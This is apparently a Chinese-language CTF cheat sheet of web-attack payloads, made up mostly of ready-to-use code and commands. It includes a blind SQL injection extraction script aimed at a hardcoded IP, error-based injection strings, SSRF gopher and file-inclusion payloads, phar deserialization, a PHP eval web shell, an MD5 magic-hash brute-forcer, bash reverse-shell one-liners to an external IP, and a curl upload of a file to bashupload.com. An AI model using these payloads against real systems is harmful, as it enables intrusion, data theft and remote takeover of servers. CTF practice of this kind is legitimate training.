常用payload总结(更新中):

bool盲注,post类型

  1. """
  2. 你爱过一个女孩吗?
  3. 你体验过那种感觉吗?
  4. """
  5. import requests
  6. url="http://159.75.116.195:8086/login.php"
  7. flag=''
  8. for i in range(1,500):
  9. min = 32
  10. max = 127
  11. while min<max:
  12. mid=(min+max)//2
  13. # payload=f"or(ascii(substr(version(),{i},1))>{mid})#"
  14. #payload=f'or(ascii(substr(secret,{i},1))>{mid})#'
  15. #payload=f'or(if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0))#'
  16. # payload=f"or((if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(!(table_schema<>'test'))),{i},1))>{mid},1,0)))#"
  17. # payload=f"or((if(ascii(mid((SELECT(group_concat(column_name))from(information_schema.columns)where(!(table_name<>'0xgame_secret'))),{i},1))>{mid},1,0)))#"
  18. payload=f"or((if(ascii(mid((select(group_concat(secret))from(test.0xgame_secret)),{i},1))>{mid},1,0)))#"
  19. #payload=f"or(ascii(substr(version(),{i},1))>{mid})#"
  20. headers={
  21. 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0',
  22. 'Content-Type':'application/x-www-form-urlencoded'
  23. }
  24. data={
  25. 'username':'\\',
  26. 'password':payload
  27. }
  28. response=requests.post(url=url,data=data)
  29. if 'l0v3' in response.text:
  30. min =mid+1
  31. else:
  32. max=mid
  33. if min !=32 :
  34. flag+=chr(min)
  35. else:
  36. break
  37. print(flag)

SSRF gopher协议

转化脚本

  1. import urllib.parse
  2. payload =\
  3. """
  4. POST /read.php HTTP/1.1
  5. Host: 127.1:80
  6. Content-Length: 50
  7. Content-Type: application/x-www-form-urlencoded
  8. name=%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37
  9. """
  10. tmp = urllib.parse.quote(payload)
  11. new = tmp.replace('%0A','%0D%0A')
  12. result = 'gopher://127.1:80/'+'_'+new
  13. result = urllib.parse.quote(result)
  14. print(result)

GraphQL

https://book.hacktricks.xyz/pentesting/pentesting-web/graphql

https://threst.github.io/2018/05/22/你肯定不知道的GraphQL安全概述和测试技巧/

{“query”:”{__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}”}

查看所有表和列

{“query”:”{user(id: 1){username,privateEmail}}”}

查数据

phar反序列化

  1. @unlink('yuan.phar');
  2. $phar = new Phar("yuan.phar"); //文件名,后缀名必须为phar
  3. $phar->startBuffering();
  4. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  5. $phar->setMetadata($s); //传$c 将自定义的meta-data存入manifest
  6. $phar->addFromString("test.txt", "test"); //添加要压缩的文件。这里的内容不影响题目
  7. $phar->stopBuffering(); //签名自动计算

字典密码生成

生成如000-999的序列

  1. start = int(input("请输入开始的数值:"))
  2. end = int(input("请输入结束的数值:"))
  3. num = int(input("请输入生成的位数:"))
  4. path = str(start)+"到"+str(end)+"的"+str(num)+"位数字典.txt"#输出的字典名
  5. for i in range(start,end+1): # 生成从start到end的字典
  6. s = str(i).zfill(num) #生成六位数的字典
  7. with open(path,"a") as f: #打开文件
  8. f.write(str(s) + "\n") #写入文件
  9. f.close()

linux查找文件字符串

grep -r 0xGame /tmp

MariaDB/Mysql

无information_schema注入

SELECT object_name FROM performance_schema.objects_summary_global_by_type WHERE object_schema = DATABASE();

参考文章:(国外大牛)

https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/

小权限下载目标服务器上文件

解决办法先上传后下载

https://bashupload.com/

curl bashupload.com -T your_file.txt

伪造请求头

  1. import base64
  2. import requests
  3. payload={
  4. "X1cT34m":"1",
  5. "Pupi1":"1"
  6. }
  7. head={
  8. "User-Agent": "N1k0la浏览器".encode('utf-8'),
  9. "x-forwarded-for": "127.0.0.1"
  10. }
  11. url='http://159.75.116.195:700/?0xGame2021=welcome to the 0xGame2021'
  12. r=requests.post(url=url,headers=head,data=payload)
  13. print(r.text)
  14. a='JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ=='
  15. a=base64.b64decode(a)
  16. print(a)

人工智能识别解密

ciphey

apt直接下载

python -m ciphey -t “密文”

base破解:basecrack

python basecrack.py

反弹shell

在服务器上开启监听:nc -lvvnp 8888

bash -i >& /dev/tcp/116.62.127.33/8888 <&2

bash -i >& /dev/tcp/116.62.127.33/8888 0>&1

二次反弹

连接之后发现命令无回显,可以弹到服务器上其他端口,新开终端监听,在原来终端反弹

flask session 伪造 要有密钥

python3 flask_session_cookie_manager3.py encode -s 'x1ct34myydsytstflglgjhdfhsh' -t '{"name":"admin","uid":"1"}'

php短标签(要设置)

<?@eval($_POST['a']);?>

md5爆破脚本

  1. import string
  2. import hashlib
  3. payload = string.ascii_letters + string.digits
  4. def calc_md5(s):
  5. md5 = hashlib.md5(s.encode("utf-8")).hexdigest()
  6. md5_double = hashlib.md5(md5.encode("utf-8")).hexdigest()
  7. if (md5_double[0:2] == "0e" and md5_double[2:].isdigit()):
  8. print(s)
  9. def getstr(payload, s, slen):
  10. if (len(s) == slen):
  11. calc_md5(s)
  12. return s
  13. for i in payload:
  14. sl = s + i
  15. getstr(payload, sl, slen)
  16. # 字符串长度从0到30,肯定找得到
  17. for i in range(3, 30):
  18. getstr(payload, '', i)

python 正则应用

  1. import requests
  2. import re
  3. s=requests.Session()
  4. url = 'https://756-9d36cee9-e231-4196-86c6-49294073e191.do-not-trust.hacking.run/'
  5. # header = {"x-forwarded-for": "127.0.0.1"}
  6. r1 = s.get(url=url)
  7. link_list = (re.findall(r".*</p>", r1.text)[0])[0:-4]
  8. result = eval(link_list)
  9. payload = {'result': result}
  10. r2 = s.post(url=url, data=payload)
  11. print(r2.text)

注意 session 会话

文件包含

/index2.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
index.php?file=php://filter/convert.base64-encode/resource=index.php
php://input

报错注入

payload:

  • 使用()代替空格
  • 使用like代替=
  • 使用right、left代替substring、mid ```sql 1’or(1)like(2)%23

1’or(updatexml(‘~’,concat(‘~’,database(),’~’),’~’))%23

1’or(updatexml(‘~’,concat(‘~’,(select(left(group_concat(schema_name),30))from(information_schema.schemata)),’~’),’~’))%23

1’or(updatexml(‘~’,concat(‘~’,(select(right(group_concat(schema_name),30))from(information_schema.schemata)),’~’),’~’))%23

1’or(updatexml(‘~’,concat(‘~’,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like’geek’),’~’),’~’))%23

1’or(updatexml(‘~’,concat(‘~’,(select(group_concat(id,’~’,username,’~’,password))from(geek.H4rDsq1)),’~’),’~’))%23

1’or(updatexml(‘~’,concat(‘~’,(select(right(group_concat(id,’~’,username,’~’,password),30))from(geek.H4rDsq1)),’~’),’~’))%23 ```